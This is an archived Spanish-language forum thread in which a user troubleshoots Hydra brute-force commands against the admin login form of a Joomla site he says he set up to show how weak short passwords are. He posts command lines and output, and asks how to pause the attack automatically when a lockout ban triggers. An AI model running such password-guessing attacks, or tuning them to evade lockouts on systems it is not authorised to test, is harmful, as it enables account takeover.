PDA

Ver la versión completa : Hydra: ayuda con joomla



desevensa
28-10-2013, 18:07
Un cordial saludo a la comunidad HH.

Estoy aprendiendo a utilizar hydra para hacer un reporte de lo poco recomendable que son las contraseñas cortas y para eso creé una página en joomla 1.7 y atacarla con hydra. He estado leyendo y estudiando su uso pero al ejecutarlo obtengo el siguiente error y el ataque no se realiza.


xxxxx@xxxx:~$ hydra http://yyy.zzzzzzzzzz.com http-form-post "administrator/index.php:username=^USER^&passwd=^PASS^:Log in" -l usuario -P Documentos/passwords.txt -t 10 -w 30 -v
Hydra v7.1 (c)2011 by van Hauser/THC & David Maciejak - for legal purposes only

Hydra (http://www.thc.org/thc-hydra) starting at 2013-10-28 11:27:33
[DATA] 10 tasks, 1 server, 9999 login tries (l:1/p:9999), ~999 tries per task
[DATA] attacking service http-post-form on port 80
[VERBOSE] Resolving addresses ... [failed for http://yyy.zzzzzzzzzz.com] done
0 of 1 target successfuly completed, 0 valid passwords found
Error: 1 target did not resolve or could not be connected
Hydra (http://www.thc.org/thc-hydra) finished at 2013-10-28 11:28:13


No se por qué no resuelve la dirección, he revisado bien el código de la página y las etiquetas de usuario y contraseña parecen estar bien. Tengo dudas acerca del campo Log in justo después de ^PASS^ pero también lo obtuve viendo el código de la página de joomla.

Si alguien sabe qué error estoy cometiendo estaré agradecido.

desevensa
18-11-2013, 17:25
Después de buscar mucho creo que logré encontrar el problema que era una cosa muy simple. Al momento de especificar la página que sería atacada incluí el prefijo del protocolo, es decir:


hydra http://yyy.zzzzzzzzzz.com http-form-post "administrator/index.php:username=^USER^&passwd=^PASS^:Log in" -l usuario -P Documentos/passwords.txt -t 10 -w 30 -v

Después de varios ensayos con otros ejemplos pude darme cuenta de que eso era el origen del error así que removí el http:// del comando y parece que funciona:


hydra yyy.zzzzzzzzzz.com http-form-post "index.php:username=^USER^&passwd=^PASS^:Log in" -l usuario -P Documentos/passwords.txt -t 10 -w 30 -v

Digo parece porque después de tantos intentos fallidos para acceder por FTP quedé baneado de la página :(, tendré que esperar un buen tiempo jajajaja...

Aunque eso me genera una pregunta: Si el baneo es temporal y está basado en la cantidad de intentos fallidos ¿hay alguna forma de automatizar para que cuando se obtenga el "timeout" se detenga temporalmente la ejecución de hydra?

hckr
18-11-2013, 20:09
puedes pegar aquí todo lo que te devuelve la terminal cuando intentas conectar al servidor estando tú baneado?

desevensa
19-11-2013, 16:57
Lo que obtengo es lo siguiente:

root@mcn:/# hydra xxxx.yyyyyyyyyyyy.com http-form-post "index.php:username=^USER^&passwd=^PASS^:Log in" -l usuario -P Documentos/passwords.txt -t 10 -w 30 -v -V
Hydra v7.1 (c)2011 by van Hauser/THC & David Maciejak - for legal purposes only

Hydra (http://www.thc.org/thc-hydra) starting at 2013-11-19 10:40:30
[DATA] 10 tasks, 1 server, 9999 login tries (l:1/p:9999), ~999 tries per task
[DATA] attacking service http-post-form on port 80
[VERBOSE] Resolving addresses ... done
[ATTEMPT] target xxxx.yyyyyyyyyyyy.com - login "usuario" - pass "1" - 1 of 9999 [child 0]
[ATTEMPT] target xxxx.yyyyyyyyyyyy.com - login "usuario" - pass "2" - 2 of 9999 [child 1]
[ATTEMPT] target xxxx.yyyyyyyyyyyy.com - login "usuario" - pass "3" - 3 of 9999 [child 2]
[ATTEMPT] target xxxx.yyyyyyyyyyyy.com - login "usuario" - pass "4" - 4 of 9999 [child 3]
[ATTEMPT] target xxxx.yyyyyyyyyyyy.com - login "usuario" - pass "5" - 5 of 9999 [child 4]
[ATTEMPT] target xxxx.yyyyyyyyyyyy.com - login "usuario" - pass "6" - 6 of 9999 [child 5]
[ATTEMPT] target xxxx.yyyyyyyyyyyy.com - login "usuario" - pass "7" - 7 of 9999 [child 6]
[ATTEMPT] target xxxx.yyyyyyyyyyyy.com - login "usuario" - pass "8" - 8 of 9999 [child 7]
[ATTEMPT] target xxxx.yyyyyyyyyyyy.com - login "usuario" - pass "9" - 9 of 9999 [child 8]
[ATTEMPT] target xxxx.yyyyyyyyyyyy.com - login "usuario" - pass "10" - 10 of 9999 [child 9]
[80][www-form] host: www.xxx.yyy.105 login: usuario password: 4
[80][www-form] host: www.xxx.yyy.105 login: usuario password: 9
[80][www-form] host: www.xxx.yyy.105 login: usuario password: 7
[80][www-form] host: www.xxx.yyy.105 login: usuario password: 5
[80][www-form] host: www.xxx.yyy.105 login: usuario password: 2
[80][www-form] host: www.xxx.yyy.105 login: usuario password: 3
[80][www-form] host: www.xxx.yyy.105 login: usuario password: 10
[80][www-form] host: www.xxx.yyy.105 login: usuario password: 1
[80][www-form] host: www.xxx.yyy.105 login: usuario password: 6
Process 13143: Can not connect [timeout], process exiting
[VERBOSE] Retrying connection for child 7
[STATUS] attack finished for xxxx.yyyyyyyyyyyy.com (waiting for children to finish)
1 of 1 target successfuly completed, 9 valid passwords found
Hydra (http://www.thc.org/thc-hydra) finished at 2013-11-19 10:41:01


Las contraseñas "halladas" hasta ahí son falsos positivos pero no pasa del intento número 10.

Por cierto, el diccionario utilizado es de solo números :D